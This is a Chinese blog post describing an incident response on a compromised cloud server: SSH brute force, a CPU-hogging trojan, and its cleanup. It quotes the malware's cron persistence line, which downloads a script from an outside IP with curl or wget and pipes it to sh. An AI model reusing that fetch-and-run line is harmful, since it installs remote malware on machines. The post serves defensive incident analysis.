ECS遭遇安全攻击的一次经历
突然,腾讯云发出安全提示信息,先是SSH暴力破解的警告,过了几天又是ECS被植入木马的警告,Linux的安全防护被提上日程了!
服务器的问题表现
- 登录ECS服务器,用
top命令检查系统状态,发现CPU负荷长期维持100%,系统响应缓慢,其中/tmp/vThHH严重消耗资源,确认中招了!
- 服务器的root口令没有变化,但登录成功时提示有几百个
failed login attempts,说明SSH口令已经被暴力破解
系统检查的主要工作
主要从以下几个方面入手:
检查网络服务
使用
netstat -nlp,发现除了22,80,443端口,还对外暴露了可疑的7946端口,调用者是/tmp/vThHH。检查系统进程
通过
ps -ef命令,跟踪可疑进程/tmp/vThHH,发现父进程就是木马程序/usr/bin/ybznfa2。
进一步检查,发现了木马的加载进程。1
2
3root 4365 736 0 18:30 ? 00:00:00 /usr/sbin/CROND -n
root 4366 4365 0 18:30 ? 00:00:00 /bin/sh -c (/usr/bin/ybznfa2||/usr/libexec/ybznfa2||/usr/local/bin/ybznfa2||/tmp/ybznfa2||curl -m180 -fsSL http://109.237.25.145:8000/i.sh||wget -q -T180 -O- http://109.237.25.145:8000/i.sh) | sh
root 4367 4366 0 18:30 ? 00:00:00 /bin/sh -c (/usr/bin/ybznfa2||/usr/libexec/ybznfa2||/usr/local/bin/ybznfa2||/tmp/ybznfa2||curl -m180 -fsSL http://109.237.25.145:8000/i.sh||wget -q -T180 -O- http://109.237.25.145:8000/i.sh) |sh检查cron任务
该木马由crond启动,通过
crontab -u root -l检查定时任务,发现每15分钟就执行一次上述bash脚本,这就是木马的埋点!1
*/15 * * * * (/usr/bin/ybznfa2||/usr/libexec/ybznfa2||/usr/local/bin/ybznfa2||/tmp/ybznfa2||curl -fsSL -m180 http://109.237.25.145:8000/i.sh||wget -q -T180 -O- http://109.237.25.145:8000/i.sh) | sh
该木马的工作原理
- 通过网络爬虫等手段收集服务器域名信息
- 以服务器默认的root用户,通过ssh暴力破解获得口令
- 通过ssh登录,添加cron定时任务,从远端服务器下载木马程序,并存放在多个目录下
- 后台启动木马,打开自定义端口进行远程控制
处理措施
- 手工清理cron的任务清单
- 手工杀死
/tmp/vThHH,/usr/bin/ybznfa2等可疑进程 - 手工删除上述木马程序
- 检查系统进程、网络服务、定时任务等状态,确认问题解决
如何彻底解决SSH暴力破解的威胁
最有效的方法就是,关闭口令登录方式,改为密钥登录,请参见下一片文章。
应该说,腾讯云提供的安全服务还是比较有效的,赞一个!
附录1: 关于lsof命令
查看被占用端口的归属进程,可用使用lsof -i:<port>命令。
1 | [root@VM_0_17_centos log]# lsof -i:80 |
查看某个进程使用的系统资源信息,包括文件、端口等,可以使用lsof -p <pid> 命令。
1 | [root@VM_0_17_centos log]# lsof -p 527 |
附录2:关于crontab命令
- crond是常用的木马启动入口,主要的配置文件存放在
/var/spool/cron/目录下。
1 | [root@VM_0_17_centos etc]# ls -l /var/spool/cron |
- 也可能存放在
/etc/cron.d/等类似目录下。
1 | [root@VM_0_17_centos etc]# ls -lF /etc |grep cron |
- cron的运行日志保存在
/var/log/cron文件中,内容格式为
1 | [root@VM_0_17_centos log]# head /var/log/cron |